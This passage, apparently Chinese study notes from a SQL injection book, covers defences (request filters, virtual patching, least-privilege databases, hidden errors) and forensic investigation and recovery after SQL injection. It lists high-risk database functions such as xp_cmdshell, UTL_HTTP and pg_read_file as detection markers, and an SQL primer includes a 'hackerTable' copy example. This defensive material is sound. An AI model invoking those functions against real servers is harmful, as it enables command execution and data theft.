也可以使用Web应用的编程语言或框架来实现过滤器。其架构与Web服务器插件的架构类似:模块代码在请求和响应经历一系列阶段的过程时执行。可以使用ASP.NET的 System.Web.IHttpModule和javax.servlet.Filter接口来实现过滤器模式,之后可以在不修改代码的前提下将它们添加到应用中并在应用程序的配置文件中显式地激活它们。

下面列出了自定义的J2EE Filter类的doFilter方法的示例代码。每个请求/响应对会因为J2EE Web源(JSP文件、servlet等)的请求而调用该方法:

public class SqlInjDetectionFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res,
chain filterchain) throws IOException, ServletException {
//检查请求数据,寻找恶意字符
doDetectSqlI(rep, res);
//调用链中的下一个过滤器
chain.doFilter(servletRequest, servletResponse);
}
}

应用程序过滤器确实适合于运行时(runtime)保护,开发时它们可以独立于应用程序,部署时则可以作为独立的.dll或.jar文件并且能立即激活。

使用脚本语言实现过滤器模式

就PHP Web应用而言,可以在php.ini文件中利用auto_prepend_file和auto_append_file配置指令,这些指令指向那些在每个请求的PHP脚本执行之前和之后才执行的PHP文件。添加的逻辑在各种HTTP请求集合(查询字符串、POST、cookie、头等)间循环,必要时可以进行验证和或日志记录。

另一种用于PHP和经典ASP应用的方法是使用包含文件(include file)。这需要通过在每个应用程序页面添加include指令来修改代码。同样,被包含的逻辑也在各种HTTP请求集合间循环,必要时也可以进行验证和或日志记录。

过滤Web服务消息

使用自定义的输入和输出过滤器同样可以很容易地将截断过滤器模式应用于XML Web服务。

不可编辑与可编辑的输入保护

输入验证策略,将应用程序的输入分成可编辑的和不可编辑的两类,并且锁定不可编辑的输入以便无法操作它们。不可编辑输入是指最终用户不需要直接修改的输入,比如隐藏表单字段、URI和查询字符串参数、cookie等。该策略隐含的原理是:应用程序应该只允许用户执行用户接口暴露给他们的动作。

实现这种策略的技术范例是HDIV(HTTP Data Integrity Validator, HTTP数据完整性验证器) 和SPF。

URL策略与页面层策略

不修改源代码的前提下,为易受攻击的URL或页面打虚拟补丁的技术。

页面覆写(override)

如果页面易受攻击且需要替换,那么可以创建一个在运行时提交的替代页面或类,通过修改Web应用配置文件中的配置可以实现这种替换。在ASP.NET应用中,则可以使用HTTP handler (处理程序)实现这一任务。

下面展示了一自定义HTTP handler的配置,它用于处理发送给PageVulnToSqll.aspx页面而非易受攻击页面的请求。

<httpHandlers>
<add verb="*"
path="PageVulnToSqlI.aspx"
type="Chapter9.Examples.SecureAspxHandler, Subclass"
validate="false" />
</httpHandlers>

将易受攻击的URL映射到一个通过安全方式处理请求的servlet上

<servlet>
<servlet-name>SecureServlet</servlet-name>
<servlet-class>chapter9.examples.SecureServletClass</servletclass></servlet>
<servlet-mapping>
<!--<servlet-name>ServletVulnToSqli</servlet-name>-->
<servlet-name>SecureServlet</servlet-name>
<url-pattern>/ServletVulnToSqli</url-pattern>
</servlet-mapping>
URL重写

URL重写(rewrite)是一种与页面覆写(override)类似的技术。可以通过配置Web服务器或应用框架来接收那些发送给易受攻击页面或URL的请求,并将它们重定向到该页面的替代版本。 页面的新版本通过一种安全的方式来实现原始页面逻辑。

资源代理与封装

可以将资源代理与封装和页面覆写或URL重写结合使用,以便将替换页面需要的自定义编码数量降至最低。替代页面在处理重写请求时会循环访问请求参数(查询字符串、POST、 cookie等)并执行必需的验证。

面向方面编程

面向方面编程(Aspect-Oriented Programming, AOP)是一种构建可应用到应用程序范围内的通用可重用例程的技术。在开发过程中,它有利于核心应用程序逻辑和通用、重复任务(输入 验证、记录日志、错误处理等)的分离。运行时,可以使用AOP来热补(hot-patch)易受SQL注入攻击的应用程序,也可以无须修改底层源代码就直接将入侵检测和日志审查功能嵌入到应用程序中。

应用程序入侵检测系统

可以使用传统的基于网络的入侵检测系统(Intrusion Detection Systems, IDS)来检测SQL注入攻击。

WAF作为一种非常好的IDS,因为它运行在应用层并且可针对受保护 的应用程序进行微调。

另一种选择是使用PHPIDShttp://phpids.org,PHPIDS不会过滤或审查输入,它检测攻击并根据配置来采取措施。

数据库防火墙

防火墙,它本质上是一种介于应用程序和数据库之间的代理服务器。应用程序连接到数据库防火墙并像正常连接到数据库那样发送查询。 数据库防火墙分析预期的查询,如果认为是安全的,就将它传递给数据库服务器加以执行。反之,如果认为是恶意的,就阻止运行该查询。数据库防火墙还可以通过以被动模式监视连接和向管理员发出可疑行为警告来作为恶意数据库行为的应用层IDS。

确保数据库安全

锁定应用程序数据

使用较低权限的数据库登录

应用程序连接到数据库服务器的登录语境应该是:拥有的许可权限仅仅只能执行需要的应用程序任务。

隔离数据库登录

对于既需要写访问也需要读访问数据库的应用程序,可以使用多个用户登录数据库,这是对使用最小权限登录数据库的扩展。

撤销public许可

每种数据库服务器平台均拥有通常称为公共(public)角色的默认角色(所有登录均属于这种角色)。它包含一个默认的许可集,其中包括对系统对象的访问。公共角色还被赋予了执行内置系统存储过程、包和用于管理目的的功能的许可。

应尽可能多地撤销系统对象的公共角色许可。此外,还必须撤销为自定义数据库对象(比如应用程序使用的表和存储过程)赋予的公共角色的冗余许可,必要时可以为自定义角色分配数据库许可。可以使用这些角色来为特定的用户和组赋予默认的访问级别。

使用存储过程

从安全角度看,应该将应用程序的SQL查询封装到存储过程中并且只能为这些对象赋予EXECUTE许可。可以撤销底层对象的所有其他许可,比如SELECT,INSERT等。就SQL注入而言,最低权限的数据库登录(应用程序使用的存储过程只拥有EXECUTE许可)可保证更难 向浏览器返回任意结果集。

使用强加密技术来保护存储的敏感数据

要想避免数据库中敏感数据的非授权查看,一种关键的控制就是使用强加密技术。可选的方法包括存储数据的数学哈希(而非数据本身)或者存储使用对称算法加密后的数据。

如果不需要存储数据本身,那么请考虑一种正确的衍生数学哈希。

如果必须存储敏感数据,请使用强对称加密算法来进行保护,比如AES(Advanced Encryption Standard,高级加密标准)或三重DES(Data Encryption Standard,数据加密标准)。加密敏感数据的主要挑战是将密钥保存到攻击者无法轻易访问到的位置。

维护审查跟踪

维护对应用程序数据库对象的访问审查跟踪非常关键。

Oracle错误触发器

Oracle提供了一种名为数据库触发器的特性。当出现特定的事件时,比如使用DDL(数据定义语言,比如DDL触发器)创建对象时,或者出现数据库错误(比如ERROR触发器)时,这些触发器会在数据库范围内激活,从而提供了一种简易的方法来检测SQL注入尝试。

锁定数据库服务器

额外的系统对象锁定

除了撤销系统对象(system object)上的公共对象许可外,请考虑采取额外的步骤来进一步锁定特权对象的访问,比如用于系统管理的对象、执行操作系统命令和产生网络连接的对象。

请考虑通过以下措施来施加约束:确保未向应用程序角色赋予多余冗余许可、通过服务器配置禁用访问系统范围内的特权对象,或者彻底将这些功能从服务器删除(避免重新启用带来的权限提升)。

在Oracle中,应该约束运行操作系统的命令以及从数据库访问操作系统级文件的能力。

在SQL Server中,应该考虑删除危险的存储过程,比如xp_cmdshell以及与xp_reg*、xp_ instancereg*和sp_OA*匹配的存储过程。

约束即席查询(ad hoc querying)

Microsoft SQL Server支持一种名为OPENROWSET的命令来查询远程和本地数据源。远程查询的有用之处在于可利用它来攻击所连网络上的其他数据库服务器。使用这一功能查询本地服务器,攻击者可以在更高特权的SQL Server数据库登录语境中重新向服务器发出验证。

Oracle支持借助数据库链接(database link)的远程服务器的即席查询。

增强对验证周边的控制

应该复查所有数据库登录,禁用或删除不必要的内容,比如默认账户。

在最低权限的操作系统账户语境中运行

如果攻击者能够突破数据库服务器语境并获取底层操作系统的访问权,那么此时是否处于最低权限的操作系统账户语境中将非常关键。

确保数据库服务器软件打了补丁

使用当前的补丁保证软件更新至最新是一项基本的安全规则

判定SQL Server/Oracle数据库服务器版本

数据库 命令 版本查阅
SQL Server select @@version http://support.microsoft.com/kb/321185
Oracle – 显示数据库版本 select * from v$version; – 显示已安装组件的版本 select * from dba_registry; – 显示补丁级别 select * from dba_registry_history; http://www.oracle.com/techwrnetwork/topics/security/alerts-086861.html

额外的部署考虑

最小化不必要信息的泄露

隐藏错误消息

包含描述数据库服务器失败原因信息的错误消息对SQL注入识别和后续的漏洞利用均非常有用。在应用程序级别的错误处理程序中,处理异常和错误消息隐藏会极其有效。好的做法是配置应用框架或Web服务器,以便在产生未预料的应用程序错误(比如包含500状态码的HTTP响应)时返回自定义响应。配置后的响应可以是显示通用消息的自定义错误页面,也可以重定向到默认的Web页面。

自定义错误的配置技术

平 台 配置指令
ASP.NET Web应用程序 在 web.config 文件中,将customErrors 设置为 On 或 RemoteOnly 并将defaultRedirect设置为要显示的页面。确保为defaultRedirect配置的页面确实位于配置的位置,这通常容易出错!
<customErrors mode="On" defaultRedirect="/CustomPage.aspx"> </customErrors>
该配置只适用于ASP.NET资源。当出现任何应用代码无法处理的错误(500、404等)时均会显示该配置页面。
J2EE Web应用程序 在web.xml文件中,使用<error-code><location>元素配置<error-page>元素:

500
/CustomPage.html

该配置只适用于专门由Java应用服务器处理的资源。只有当出现500错误时才会显示该配置页面。
经典ASP/VBScript Web应用程序 必须对IIS进行配置以便隐藏详细的ASP错误消息。可以使用下列操作配置该设置:
1. 在”IIS Manager Snap-In”中右击Web站点并选择”Properties”。
2.在”Home Directory”选项卡中单击”Configuration”按钮。确保选中了”Send text error message to client”选项,并且该选项下的文本框中存在恰当的消息。
PHP Web应用程序 在php.ini文件中,设置display_errors为Off。此外,在Web服务器配置中配置默认的错误文档。请参考下面两行表格中针对Apache和 IIS的指令。
Apache Web服务器 向指向自定义页面的Apache(位于配置文件内部,通常为httpd.conf) 添加 ErrorDocument 指令: ErrorDocument 500 /CustomPage.html
IIS服务器 可以使用下列操作配置IIS中的自定义错误:
(1)在”IIS Manager Snap-In”中右击Web站点并选择”Properties”。
(2)在”Custom Errors”选项卡中单击”Configuration”按钮。选中需要自定义的HTTP错误并单击”Edit”按钮。接下来从”Message Type”
下拉菜单中选择一个文件或URL来替换默认内容

一种可以使基于响应的错误检测变得困难的方法,是配置应用程序和Web服务器,使之返回相同的响应,比如不管什么错误代码(401、403、500等)均重定向到默认的首页。

使用空的默认Web站点

HTTP/1.1协议要求HTTP客户端在发送给Web服务器的请求中发送主机头部(Host header)。为访问特定的Web站点,该头部值必须与Web服务器的虚拟主机配置中的主机名相匹配。如果未找到匹配值,将返回默认的Web站点内容。

对于企业级Web应用程序的拥有者,则可能更喜欢隐蔽起来,他们不希望被针对端口80和443进行IP地址范围扫描的攻击者发现。为确保用户只能通过主机名连接到Web应用,需要将Web服务器的默认Web站点配置成返回一个空白的默认Web页面。

为DNS反向查询使用虚拟主机名称

前面讲过,如果只拥有IP地址,要想在能够访问Web站点之前发现有效的主机名,就需要花费一些功夫。要实现该目标,一种方法是在IP地址上执行反向DNS查询。如果IP地址被解析成在Web服务器上同样有效的主机名,那么我们就拥有了连接到该Web站点所需要的信息。不过,如果反向查询返回了稍微通用的内容,那么这时可通过反向DNS查询来阻止不受欢迎的攻击者发现我们的Web站点。如果正在使用虚拟主机名(Dummy Host Name)技术,请确保默认的Web站点也被配置成返回一个空白的默认Web页面。

使用通配符SSL证书

另一种发现有效主机名的方法是从SSL(Secure Sockets Layer,安全套接字层)证书中提取。 要阻止该操作,一种方法是使用通配符SSL证书。

限制通过搜索引擎hacking得到的发现

搜索引擎是攻击者用于寻找Web站点中SQL注入漏洞的另一种工具。在所有主流搜索引擎中,常见的技术是使用Web站点根目录中的robots.txt文件。该文件用于阻止爬行器(crawler)编写站点索引。

阻止所有机器人爬行Web站点上的所有页面:

User-agent: *
Disallow: /
禁止WSDL信息

Web服务所支持的通信协议(例如,SOAP、HTTP GET等)、方法名和期望的参数,都可以从Web服务的WSDL(Web Services Description Language, Web服务描述语言)文件中提取到。通常,通过在Web服务URL的结尾添加一个?WSDL来调用该文件。好的做法是尽可能向不受欢迎的攻击者隐藏这一信息。

下面展示了如何配置一个.NET Web服务以便不显示WSDL,可以对该配置进行修改以便应用到应用的web.config或machine.config文件中:

<webServices>
<protocols>
<remove name="Documentation"/>
</protocols>
</webServices>

Apache Axis(Java应用经常使用的一种SOAP(简单对象访问协议,Web服务平台)支持自定义配置WSDL文件,用于阻止自动生成WSDL,可以在服务的WSDD(Web服务描述文档)文件中配置wsdlFile设置以指向返回空<wsdl/>标签的文件。

坚决反对在面向Internet的Web服务器上保持WSDL信息的远程访问。可以使用可选的安全通信通道(比如加密过的e-mail)来向值得信赖的合作者提供该文件,合作者可能需要这些信息以与Web服务进行通信。

提高Web服务器日志的详细程度

Web服务器日志文件可以提供一些洞察潜在SQL注入攻击的信息,尤其是当应用程序日志记录机制不佳时。

将Web服务器和数据库服务器分别部署在独立主机上

应该避免在同一主机上运行Web服务器软件和数据库服务器软件,因为这样会显著增加Web应用的攻击面,并将之前只访问Web前端时不可能暴露的数据库服务器软件暴露给攻击程序。

配置网络访问控制

在分层正确的网络中,数据库服务器通常位于内部受信任网络中。凭借对数据库服务器的直接访问权,攻击者可以尝试连接到同一网络的其他系统。 实现网络访问控制,以便对与内部网中其他系统的连接施加限制。可以在包含防火墙和路由器 ACL的网络层实现该控制,也可以使用IPSec这样的主机层机制来实现该控制。此外,确保施加合适的网络访问控制以阻止带外(outbound)网络连接。

确认并从SQL注入攻击中恢复

调查可疑的SQL注入攻击

在遇到可疑的攻击之后,调查者需要筛选大量信息,不但需要判断是否存在SQL注入攻击企图的证据,还需要判断这种攻击是否成功。

取证的合理实践

收集和管理数字化的证据都有着严格的规则和指导原则。常见的要求包括:

  1. 应该由接受过计算机取证培训并在机构中授权执行数字调查的人来处理调查事宜。

  2. 在调查期间收集的所有文件,应该镜像,并且应该创建镜像的副本用于分析。这可以确保在需要时总有原始镜像可用。

  3. 对于新创建的每一份文件镜像,应该为之生成哈希,对于每个源文件也是如此。

  4. 在调查期间,用文档记录你所执行的所有操作,包括那些当连接到数据库服务器时完成的操作:保留连接时间和所用数据库语境的记录;保留在RDBMS中执行命令的记录;将所有结果管道(pipe)重定向到文本文件中。主流RDBMS客户端将标准输出重定向的命令。

  5. 确保将所有证据都写入无毒的存储介质,并将其保存在一个安全的地方,比如储物柜或保险箱。

  6. 维护一份监管链(Chain of Custody)文档,用于跟踪收集的所有证据,从被防护时间开始直到作为证据在法庭上呈现时的移动、存放位置和所有者。

主流RDBMS客户端重定向stdout的命令

RDBMS 厂商支持的客户端 日志记录的会话活动 重定向操作符
Microsoft SQL Server SQLCMD -e命令,当启动SQLCMD时, 它在标准输出(stdout)上回显所有发送给服务器的语句和查询。例如:
SQLCMD -e
控制台中使用:out输出命令,将把标准输出(stdout)重定向到指定的文件。例如:
SQLCMD>:out z:\queryresults.txt <query>
Oracle SQL*Plus 在SQL*Plus中使用 ECHO ON命令。例如:
SQL> SET ECHO ON
在SQL*Plus中使用spool命令。 例如:
SQL> spool z:\queryresults.txt
MySQL MySQL命令行客户端 Tee选项。 例如:
Tee z:\response\ logofactions.txt
INTO OUTFILE 语句。 例如:
<query> INTO OUTFILE z:\queryresults.txt
PostgreSQL PostgreSQL shell 在 PostgreSQL 中使用 ECHO 选项。 例如:
\set ECHO all
在PostgreSQL shell中使用/g参数。 例如:
=# <query> /g z:\queryresults.txt

分析数字化证据

数字化证据(digital artifact)就是相关数据的集合。它们的范围很广,包括从存储在操作系统中文件系统内的Web服务器的日志文件,到存储在内存中的信息,以及RDBMS内核中的信息。

Web服务器日志文件

Web服务器是基于Web的应用程序的核心组件,作为交互层接受用户的输入并将输入传递给后台应用程序。Web服务器通常维护着持久日志文件,其中包含它接收到的页面请求的历史记录,以及以状态码形式记录的对该请求处理后产生的输出。

对于调查SQL注入攻击最有用的Web服务器日志属性

日志字段名 描述 主要调查的值
Date 活动的日期 建立事件的时间基线,并在各种证据中将事件关联起来
Time 活动的时间 建立事件的时间基线,并在各种证据中将事件关联起来
Client-IP Address (c-ip) 发起请求的客户端的IP地址 标识Web请求的源
Cs-UserName 发起请求的已授权的用户名 标识与流量关联的用户上下文(context)
Cs-method 请求的操作(action) 客户端试图执行的HTTP操作
Cs-uri-stem 请求目标(例如请求的Web页面) 客户端请求访问的资源(页面、可执行文件等)
Cs-uri-query 客户端请求的查询 标识客户端提交的恶意查询
Sc-status 客户端请求的状态码 标识处理客户端请求后产生的输出 (状态)
Cs(User-Agent) 客户端浏览器的版本 追踪特定客户端的请求,该客户端可 能使用了多个IP地址
Cs-bytes 客户端发送给服务器的字节 标识异常的流量传输
Sc-bytes 服务器发送给客户端的字节 标识异常的流量传输
Time Taken (time-taken) 服务器执行请求所花的毫秒数 标识异常请求处理的实例

分析日志文件的要点

  • 每天的带宽利用率
  • 页面每天命中次数
  • 页面每天被每个IP命中的次数
  • 恶意查询参数
  • spear-searching
数据库执行计划

数据库执行计划是由RDBMS生成的执行步骤的列表,它说明了 RDBMS在访问或修改信息时效率最高的方式。

在缓存的执行计划中查找证据
  • 寻找已知恶意攻击活动的痕迹
  • 与注释协同使用的堆叠查询
  • 非法使用条件语句
  • 高风险语句和数据库函数
数据库 函 数
Microsoft SQL Server XP_CMDSHELL
XP_reg*
SP_OACREATE
sp_OAMethod
OPENROWSET
sp_configure
BULK INSERT
BCP
WAITFOR DELAY
Oracle UTL_FILE
UTL_HTTP
HTTPURITYPE
UTL_INADDR
MySQL LOAD_DATA_INFILE
LOAD_FILE
BENCHMARK
ENCODE()
OUTFILE()
CONCAT()
PostgreSQL pg_Is_dir
pg_read_file
pg_read_binary_file
pg_stat_file
pg_sleep
如何访问执行计划

RDBMS数据库提供的视图,用于访问存储的执行计划

数据库 缓存的语句类型 默认是否启用 访问方法
Microsoft SQL Server 即席奪询(ad hoc)和预处理语句(prepared statement) 启用 sys.dmexecquerystats sys.dmexecsqltext
Oracle 即席查询(ad hoc)和预处理语句 启用 gv$sql
MySQL 预处理语句 不启用 没有直接访问方法,使用普通的日志查询
PostgreSQL 预处理语句 不启用 没有直接访问方法,使用普通的日志查询
  • Microsoft SQL Server

使用视图返回了执行计划缓存条目创建的日期和时间、最后一次执行的时间(在重复执行的情况下)、执行的语法和执行计划被重用的次数

select creation_time, last_execution_time, text, execution_count from sys.dm_exec_query_stats qs CROSS APPLY sys.dm_exec_sql_text(qs.sql_handle) 
  • Oracle

    使用GVSSQL视图

    select sql_text from gv$sql;
  • MySQL

    使用show variables命令来查看查询日志的状态

    show variables like '%general_log%'
  • PostgreSQL

    使用下面的查询来判断服务器上的log_statement值是否已经启用,如果已经启用,可以看到曰志的位置

    select name, setting from pg_settings where name IN ('log_statement','log_directory','log_filename')
执行计划的局限

在PostgreSQL和MySQL中,执行计划默认是被禁用的。除此之外,具有足够权限的攻击者还可以禁用执行计划。Microsoft SQL Server和Oracle不允许禁用执行计划,但是执行计划受到本地RDBMS回收策略的支配,使用特殊的RDBMS函数可以将执行计划清洗掉。

缓存回收策略

可以控制执行计划缓存的存储容量。RDBMS会根据一些因素来清除缓存的条目

  • 数据库服务器的CPU和内存负载

  • 执行计划重用的频率

  • 缓存执行计划中引用的对象发生了改变

  • 重启数据库服务

手工清洗缓存

具有管理员权限的用户可以使用手工方式清洗数据库的执行计划缓存。

采用参数化处理可以提高RDBMS重用缓存计划的机会,以便将来遇到同样的查询时可以更快地执行。下面是一个参数化查询的例子:

select EmployeeID, FName, LName, YOB from SSFA.Employee where [fname]= 'mike'
事务日志

数据库操作分为两个主要的类别:一是数据操作语言(Data Manipulation Language, DML), 二是数据定义语言(Data Definition Language, DDL)。DML作用于表内的数据;而DDL则作用于数据库的结构,比如创建新表。

事务日志(transaction log)用于记录这样的事实:事务开始发生及恢复所需的信息。万一数据库服务器将信息写入硬盘失败,数据库服务器就可以使用这些恢复信息将数据回退到某个一致的状态。

将数据写入实际的数据页(data page)并不是实时发生的。在预定义的时间间隔之后,事务 日志中的信息才会应用于硬盘,这等同于数据的写入操作,但却提高了总体的性能。这听起来 很复杂,但与RDBMS在巨大的数据库文件中寻道并在恰当区域中写入信息相比,写入事务曰 志的速度要快许多。

在事务日志中查找证据

分析事务日志

  • 在可疑攻击时间段内执行的INSERT, UPDATE和DELETE语句。在调查取证时,该信息可用于标识在所调查的时间段内执行的活动,以及相关事件的其他痕迹。

  • 数据库用户执行的非标准的数据库操作(当事务日志中有可用信息时)。例如,某个通常从数据库读取信息的应用程序用户账号突然意外地开始执行INSERT、UPDATE和 DELETE 语句。

如何搜索主流RDBMS的事务日志
  • Microsoft SQL Server

    默认情况下,Microsoft SQL Server的事务日志功能是启用的,而且无法禁用。从任何SQL Server客户端,都可以使用原生的fh_dblog函数来访问事务日志。

    列出了针对用户表已经执行事务的汇总信息

    SELECT AllocUnitName as 'Object', Operation, COUNT(OPERATION) AS
    'Count' from fn_dblog(null,null) WHERE OPERATION IN ('LOP_INSERT_ROWS','LOP_MODIFY_ROW','LOP_DELETE_ROWS') and AllocUnitName NOT
    Like 'sys.%' GROUP BY Operation, AllocUnitName ORDER BY Object, Operation
  • Oracle

    在Oracle中,事务(归档)日志默认是启用的,并且在测试系统时也无法禁用事务日志功能。

    使用下面的查询返回已执行的INSERT、UPDATE和DELETE操作的一个列表:

    SELECT OPERATION, SQL_REDO, SQL_UNDO FROM V$LOGMNR_CONTENTS WHERE
    SEG_OWNER = 'WEBAPP' AND SEG_NAME = 'SYNGRESS' AND (timestamp > sysdate -1) and (timestamp < sysdate) AND OPERATION IN ('DELETE',
    'INSERT', 'UPDATE')AND USERNAME = 'KEWIE';
  • MySQL

    在MySQL中,默认情况下不启用事务日志,为了记录事务,必须用命令启用事务日志功能。

    使用show binary logs语句来查看是否激活了事务日志功能

    SHOW BINARY LOGS;

    使用下面的查询来确定事务日志存储的位置

    SHOW VARIABLES LIKE '%HOME%'

    如何返回DB_BIN_Log.000002文件中的所有事务记录

    mysqlbinlog "c:\Program Files\MySQL\DB_Bin_Logs.000002" > z:\transactionlog.txt
  • PostgreSQL

    可以使用PostgreSQL命令行客户端来返回事务日志信息。在PostgreSQL中,事务日志默认是不启用的,在启用了 PostgreSQL的事务日志之后,也可以再将其禁用。

数据库对象的时间戳

在调查取证期间,生成关键对象和相应时间戳的列表是个好办法,这可以在可疑攻击时间段内标识对象的创建和修改活动。在调查可疑的SQL注入攻击时,请注意下列常常与攻击有关的活动:

  • 创建用户账号,这通常用于创建访问的后门。

  • 为已有账号增加权限,这通常是执行权限提升的一部分操作。

  • 创建表,新创建的表通常用于在将信息返回给攻击者之前,存储中间结果。

SQL Server

下面的查询将返回当前数据库中视图、过程、函数、表和扩展过程的一个列表,并按照修改日期和创建日期以降序方式排序:

(select sob.name as 'object', sch.name as 'schema', type_desc, create_date, modify_date from sys.all_objects sob, sys.schemas sch WHERE sob.schema_id = sch.schema_id and sob.type IN ('V',
'P','FN','U','S','IT','X'))
UNION
(select name, '','Db_User', createdate, updatedate from sys.sysusers) UNION
(select name, '', 'Login', createdate, updatedate from sys.syslogins)
Oracle

在Oracle中,可以使用下面的查询返回当前数据库中数据库对象类型的一个列表,比如表、视图和过程,并按照修改日期和创建日期以降序方式排序:

Select object_name, object_id, object_type, created, last_DDL_time from dba_objects ORDER BY LAST_DDL_time DESC, created DESC;
MySQL

当使用MySQL数据库时,应该注意对于某些对象比如触发器和视图并不存储时间戳。运行下面的查询,没有时间戳的对象将返回NULL值作为时间戳列的值

select * from
(
(SELECT TABLE_NAME as "OBJECT", TABLE_SCHEMA as "OBJECT_SCHEMA",
TABLE_TYPE as "OBJECT_TYPE", CREATE_TIME, UPDATE_TIME from
information_schema.tables)
UNION(SELECT SPECIFIC_NAME, ROUTINE_SCHEMA, ROUTINE_TYPEZ CREATED, LAST_ALTERED FROM information_schema.routines WHERE ROUTINE_TYPE ='PROCEDURE')
UNION
(SELECT User, '','DB_USER',	'',	'' from mysql.user)
PostgreSQL

对于创建的对象、表和用户等,PostgreSQL并不记录它们的时间戳信息。可以使用下面的查询,返回当前数据库中关键对象的名称、模式和类型。

select proname as "OBJECT_NAME", '' as "OBJECT_SCHEMA",'PROCEDURE' as
"OBJECT_TYPE" from pg_proc UNION ALL select tgname, '', 'TRIGGER' from pg_trigger
UNION ALL select tablename, schemaname, 'TABLE' from pg_tables UNION ALL select usename, '', 'USER' from pg_user  

如果你是受害者,该怎么办?

遏制安全事件

要遏制SQL注入攻击事件,可以简单地拔除受损害服务器的网线。

评估涉及的数据

  • 涉及信息的类型。

  • 涉及的信息是否可辨识为个人信息还是组织机构的信息。

  • 影响到哪些国家、州或省的人。

  • 对数据执行了什么操作(更新、删除、修改或泄漏)。

  • 重用未授权数据的影响。

  • 任何缓解措施,比如数据加密,这可以降低未经授权的人重用这些信息的可能性。

通知相关人员

要求委托管理个人信息的组织机构在数据安全遭受破坏时通知受影响的人员。

确定攻击者在系统上执行了哪些操作?

  • 标识出攻击者查看到的信息。

  • 识别出攻击者执行的DML和DDL操作,以及受影响的特定记录。

  • 标识出事务之前和事务之后受影响的数据状态,以支持恢复数据库。

  • 恢复之前己经被删除的数据。

数据库取证资源

RDBMS 图 书 专注于信息取证的Web网站 工 具
Microsoft SQL Server SQL Server Forensic Analysis,Addison Wesley Professional www.applicationfdrensics.com Windows Forensic Toolchest (SQL)
Oracle Oracle Forensics, Rampant Press www.red-databasesecurity.com
www.v3rity.com
www.applicationfbrensics.com
McAfee Security Scanner for Databases
MySQL www.applicationfbrensics.com
PostgreSQL www.applicationfbrensics.com

从SQL注入攻击中恢复

静态有效载荷:从一个受损害系统到另外一个受损害系统,在后损害(post-compromise)系统上执行的活动是一致的。

动态有效载荷:从一个受损害系统到另外一个受损害系统,在后损害(post-compromise)系统上执行的活动是不一致的。

确定攻击携带的有效载荷

执行下面的步骤,以识别成功SQL注入攻击的有效载荷:

  1. 备份受损害数据库:为受损害数据库制作两份副本。一份用于恢复数据,另一份则作为干净的恢复点,以备在恢复出现问题时使用。

  2. 提取恶意的SQL注入查询,从受损害的Web服务器日志、数据库执行计划,包括从MySQL和PostgreSQL数据库服务器的statement log和binary logs中提取恶意查询和语句的唯一清单。

  3. 理解恶意查询的逻辑:检查列出的恶意查询和语句,确定它们所创建、访问、更新或删除的对象,以及攻击者如何实现这些操作。我们需要这些信息来确定安全事件影响的范围, 从而规划出恢复安全事件的步骤。

  4. 搜索恶意查询参考:我们可能己经具有己知恶意语句和命令的列表,可以使用该列表与之前提取的恶意查询清单相互比对,以识别恶意查询的来源。

  5. 确定恶意查询是静态有效载荷还是动态有效载荷的一部分:从搜索结果中可以确定, 攻击是与诸如SQL注入蠕虫这样的静态有效载荷有关,还是与攻击者使用SQL注入漏洞利用工具、投送传统即席查询(ad-hoc)的动态有效载荷有关。

  6. 查找多种漏洞:在恶意查询清单中检查所有的条目,因为同一 SQL注入漏洞可能会被多次利用,既可能使用静态有效载荷也可能通过动态有效载荷。

从携带静态有效载荷的攻击中恢复

恢复的核心问题,是将数据库回滚到受攻击影响之前的状态,或者识别并取消 (undo)那些恶意查询和语句所执行的具体操作。

从携带静态有效载荷的攻击中进行恢复的步骤:

  1. 恢复数据库状态

    • 从备份中恢复
    • 标识要回滚的事务
  2. 检验数据库服务器配置:如果静态有效载荷带有频繁针对RDBMS特性的攻击,或者解除服务器的安全配置以实现进一步的攻击,那么应该将数据库服务器的配置恢复到已知的良好状态。

  3. 识别并修复SQL注入漏洞:确保对整个代码库进行一次应用程序安全评估,以识别可被利用的漏洞和其他可能存在的情况。

  4. 在线恢复系统并恢复Web服务。

从携带动态有效载荷的攻击中恢复

对于携带动态有效载荷的成功攻击,强烈建议聘请数据库取证专家进行调查取证。

可以遵循下列步骤:

  1. 恢复数据库状态:对于动态有效载荷的SQL注入攻击,建议将RDBMS和操作系统都恢复到受损害之前的状态。

  2. 识别脱离数据库的活动:在之前收集好的恶意查询清单中,应该标识出那些允许攻击者脱离数据库服务器、进入底层操作系统的文件系统或注册表的语句。如果发现针对操作系统的活动,就应该执行下列操作:

    • 查找创建了带外通信的任何方法
    • 查找对操作系统文件的引用,或者攻击者读取、创建或加载到数据库中的注册表键值 (key)。
  3. 检验数据库服务器的配置:一旦攻击者获得对数据库服务器的访问之后,他就会解除存在的安全设置,以便进一步在服务器上实施攻击。

  4. 识别并修复SQL注入漏洞:确保对整个代码库进行一次应用程序安全评估,以识别可被利用的漏洞和其他可能存在的情况。

  5. 在线恢复系统并恢复Web服务。

参考资料

SQL入门

SQL查询

  1. SELEC丁语句
SELECT * FROM tblUsers
SELECT username FROM tblUsers
SELECT * FROM tblUsers WHERE username = 'admin' AND password = 'letmein'
SELECT * INTO hackerTable FROM tblUsers
  1. UNION运算符
SELECT username, password FROM tblUsers UNION SELECT username, password FROM tblAdmins
SELECT username, password FROM tblUsers UNION ALL SELECT username, password FROM tblAdmins
  1. INSERT 语句
INSERT INTO tblUsers VALUES (5,'john','smith',0)
INSERT INTO tblUsers(id, username, password, priv) VALUES (5, 'john','smith',0) 
  1. UPDATE 语句
UPDATE tblUsers SET priv=0 WHERE username = 'sarah'
  1. DELETE 语句
DELETE FROM tblUsers WHERE username = 'admin'
  1. DROP语句
DROP TABLE tblUsers
  1. CREATE TABLE 语句
CREATE TABLE shoppinglist(item int, name varchar(100))
CREATE TABLE shoppinglist as select * from dba_users
  1. ALTER TABLE 语句
ALTER TABLE tblUsers ADD comments varchar(100)
ALTER TABLE tblUsers DROP COLUMN comments
ALTER TABLE tblUsers ALTER COLUMN comments varchar(500)
  1. GROUP BY语句
SELECT customer, SUM(cost) FROM orders WHERE customer = 'Anthony Anteater' GROUP BY customer
  1. ORDER BY 子句
SELECT cost,product FROM orders ORDER BY DESC
  1. 限制结果集

SQL注入快速参考

识别SQL注入漏洞

发现SQL注入缺陷

方 法 描 述
异常的输入是否会产生数据库 错误? 输入SQL元字符或异常、错误的数据类型,有可能产生数据库错误。常见的测试用例包括在字符串字段中输入单引号(‘)字符,或者在数值字段中输入随机的字符串。通常可以通过HTTP状态代码500,或者页面中描述性的错误消息来识别这种数据库错误。提交异常数据并分析服务器响应中的下列字符串,有助于识别SQL注入漏洞:
